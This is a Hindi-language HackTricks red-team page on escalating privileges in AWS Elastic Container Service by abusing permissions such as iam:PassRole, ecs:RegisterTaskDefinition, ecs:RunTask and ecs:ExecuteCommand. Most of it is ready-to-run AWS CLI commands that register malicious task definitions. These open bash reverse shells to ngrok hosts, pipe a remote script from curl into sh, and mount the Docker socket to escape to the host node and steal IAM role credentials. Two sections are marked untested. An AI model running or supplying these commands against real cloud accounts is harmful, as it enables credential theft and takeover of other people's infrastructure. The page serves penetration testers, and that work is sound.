AWS - ECS Privesc

htARTE (HackTricks AWS Red Team Expert) के साथ जीरो से हीरो तक AWS हैकिंग सीखें!

HackTricks का समर्थन करने के अन्य तरीके:

ECS

pageAWS - ECS Enum

iam:PassRole, ecs:RegisterTaskDefinition, ecs:RunTask

ECS में iam:PassRole, ecs:RegisterTaskDefinition और ecs:RunTask अनुमति का दुरुपयोग करने वाला एक हमलाविशेषज्ञ एक नए टास्क परिभाषा बना सकता है जिसमें एक हानिकारक कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स को चुरा लेता है और इसे चलाता है

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

# Run task definition
aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}"

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: एक विभिन्न ECS भूमिका में सीधा प्रिवेस्क।

iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask

पिछले उदाहरण की तरह एक हमलावर iam:PassRole, ecs:RegisterTaskDefinition, ecs:StartTask अनुमतियों का दुरुपयोग करने वाला एक हमलावर ECS में एक नया टास्क परिभाषा बना सकता है जिसमें एक हानिकारक कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स को चुरा लेता है और इसे चलाता है। हालांकि, इस मामले में, एक कंटेनर इंस्टेंस को चालू करने के लिए जो कि दुरुपयोगी टास्क परिभाषा को चलाने के लिए आवश्यक है।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]"

aws ecs start-task --task-definition iam_exfiltration \
--container-instances <instance_id>

# Delete task definition
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1

संभावित प्रभाव: किसी भी ECS भूमिका को सीधा उन्नत बनाना।

iam:PassRole, ecs:RegisterTaskDefinition, (ecs:UpdateService|ecs:CreateService)

पिछले उदाहरण की तरह एक हमलावर iam:PassRole, ecs:RegisterTaskDefinition, ecs:UpdateService या ecs:CreateService अनुमतियों का दुरुपयोग करने वाला एक हमलावर ECS में एक नया कार्य परिभाषा उत्पन्न कर सकता है जिसमें एक हानिकारक कंटेनर होता है जो मेटाडेटा क्रेडेंशियल्स को चुरा लेता है और कम से कम 1 कार्य चल रहा होने के साथ एक नई सेवा बनाकर इसे चला सकता है।

# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
--task-role-arn  "$ECS_ROLE_ARN" \
--network-mode "awsvpc" \
--cpu 256 --memory 512\
--requires-compatibilities "[\"FARGATE\"]" \
--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]"

# Run the task creating a service
aws ecs create-service --service-name exfiltration \
--task-definition iam_exfiltration \
--desired-count 1 \
--cluster "$CLUSTER_ARN" \
--launch-type FARGATE \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}"

# Run the task updating a service
aws ecs update-service --cluster <CLUSTER NAME> \
--service <SERVICE NAME> \
--task-definition <NEW TASK DEFINITION NAME>

संभावित प्रभाव: किसी भी ECS भूमिका में सीधा उन्नति।

ecs:RegisterTaskDefinition, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

यह परिदृश्य पिछले वालों की तरह है, लेकिन iam:PassRole अनुमति के बिना। यह फिर भी दिलचस्प है क्योंकि यदि आप किसी भी रोल के बिना भी एक अनियमित कंटेनर चला सकते हैं, तो आप एक विशेषाधिक कंटेनर चला सकते हैं ताकि नोड से बाहर निकल सकें और EC2 IAM भूमिका और नोड में चल रही अन्य ECS कंटेनर भूमिकाएं चुरा सकें। आप यहां तक पहुंच सकते हैं कि आप अन्य कार्यों को मजबूर कर सकते हैं जिन्हें EC2 इंस्टेंस के अंदर चलाने के लिए जिनके परमाणु (क्रेडेंशियल्स) चुराने के लिए आपने उनके बारे में चर्चा की है (नोड भूमिका तक)।

यह हमला केवल तभी संभव है अगर ECS क्लस्टर EC2 इंस्टेंस का उपयोग कर रहा है और न कि Fargate।

printf '[
{
"name":"exfil_creds",
"image":"python:latest",
"entryPoint":["sh", "-c"],
"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""],
"mountPoints": [
{
"readOnly": false,
"containerPath": "/var/run/docker.sock",
"sourceVolume": "docker-socket"
}
]
}
]' > /tmp/task.json

printf '[
{
"name": "docker-socket",
"host": {
"sourcePath": "/var/run/docker.sock"
}
}
]' > /tmp/volumes.json


aws ecs register-task-definition --family iam_exfiltration \
--cpu 256 --memory 512 \
--requires-compatibilities '["EC2"]' \
--container-definitions file:///tmp/task.json \
--volumes file:///tmp/volumes.json


aws ecs run-task --task-definition iam_exfiltration \
--cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \
--launch-type EC2

# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell

ecs:ExecuteCommand, ecs:DescribeTasks, (ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)

एक हमलावर ecs:ExecuteCommand, ecs:DescribeTasks के साथ एक चल रहे कंटेनर में कमांड चला सकता है और इसके साथ जुड़ी IAM भूमिका को बाहर ले सकता है (आपको वर्णन अनुमतियों की आवश्यकता है क्योंकि aws ecs execute-command चलाने के लिए यह आवश्यक है)। हालांकि, इसे करने के लिए, कंटेनर इंस्टेंस को ExecuteCommand एजेंट चल रहा होना चाहिए (जो डिफ़ॉल्ट रूप से नहीं है)।

इसलिए, हमलावर को यह कोशिश कर सकता है:

  • हर चल रहे कंटेनर में एक कमांड चलाने की कोशिश करें

# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
echo "Cluster $cluster"
for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do
echo "  Task $task"
# If true, it's your lucky day
aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand
done
done

# Execute a shell in a container
aws ecs execute-command --interactive \
--command "sh" \
--cluster "$CLUSTER_ARN" \
--task "$TASK_ARN"
  • अगर उसके पास ecs:RunTask है, तो aws ecs run-task --enable-execute-command [...] के साथ एक टास्क चलाएं।

  • अगर उसके पास ecs:StartTask है, तो aws ecs start-task --enable-execute-command [...] के साथ एक टास्क चलाएं।

  • अगर उसके पास ecs:CreateService है, तो aws ecs create-service --enable-execute-command [...] के साथ एक सेवा बनाएं।

  • अगर उसके पास ecs:UpdateService है, तो aws ecs update-service --enable-execute-command [...] के साथ एक सेवा अपडेट करें।

आप पिछले ECS प्राइवेस्क खंडों में इन विकल्पों के उदाहरण देख सकते हैं।

संभावित प्रभाव: कंटेनर्स से जुड़े एक विभिन्न भूमिका में प्राइवेस्क।

ssm:StartSession

जांचें ssm प्राइवेस्क पेज में कैसे आप इस अनुमति का दुरुपयोग करके ECS में प्राइवेस्क कर सकते हैं:

pageAWS - SSM Privesc

iam:PassRole, ec2:RunInstances

जांचें ec2 प्राइवेस्क पेज में कैसे आप इन अनुमतियों का दुरुपयोग करके ECS में प्राइवेस्क कर सकते हैं:

pageAWS - EC2 Privesc

?ecs:RegisterContainerInstance

TODO: क्या एक विभिन्न AWS खाते से एक इंस्टेंस को रजिस्टर करना संभव है ताकि टास्क अटैकर द्वारा नियंत्रित मशीनों पर चलाए जा सकें??

ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, ecs:DescribeTaskSets

TODO: इसे टेस्ट करें

जिनके पास ecs:CreateTaskSet, ecs:UpdateServicePrimaryTaskSet, और ecs:DescribeTaskSets अनुमतियाँ हैं, वे एक मौजूदा ECS सेवा के लिए एक दुर्भाग्यपूर्ण टास्क सेट बना सकते हैं और प्राथमिक टास्क सेट को अपडेट कर सकते हैं। इससे अटैकर को सेवा के अंदर विविध कोड को निष्पादित करने की अनुमति मिलती है।

bashCopy code# Register a task definition with a reverse shell
echo '{
"family": "malicious-task",
"containerDefinitions": [
{
"name": "malicious-container",
"image": "alpine",
"command": [
"sh",
"-c",
"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh"
]
}
]
}' > malicious-task-definition.json

aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json

# Create a malicious task set for the existing service
aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}"

# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id

संभावित प्रभाव: प्रभावित सेवा में विचित्र कोड का क्रियान्वयन करें, जिससे उसके कार्यक्षमता पर प्रभाव पड़ सकता है या संवेदनशील डेटा को बाहर ले जाया जा सकता है।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated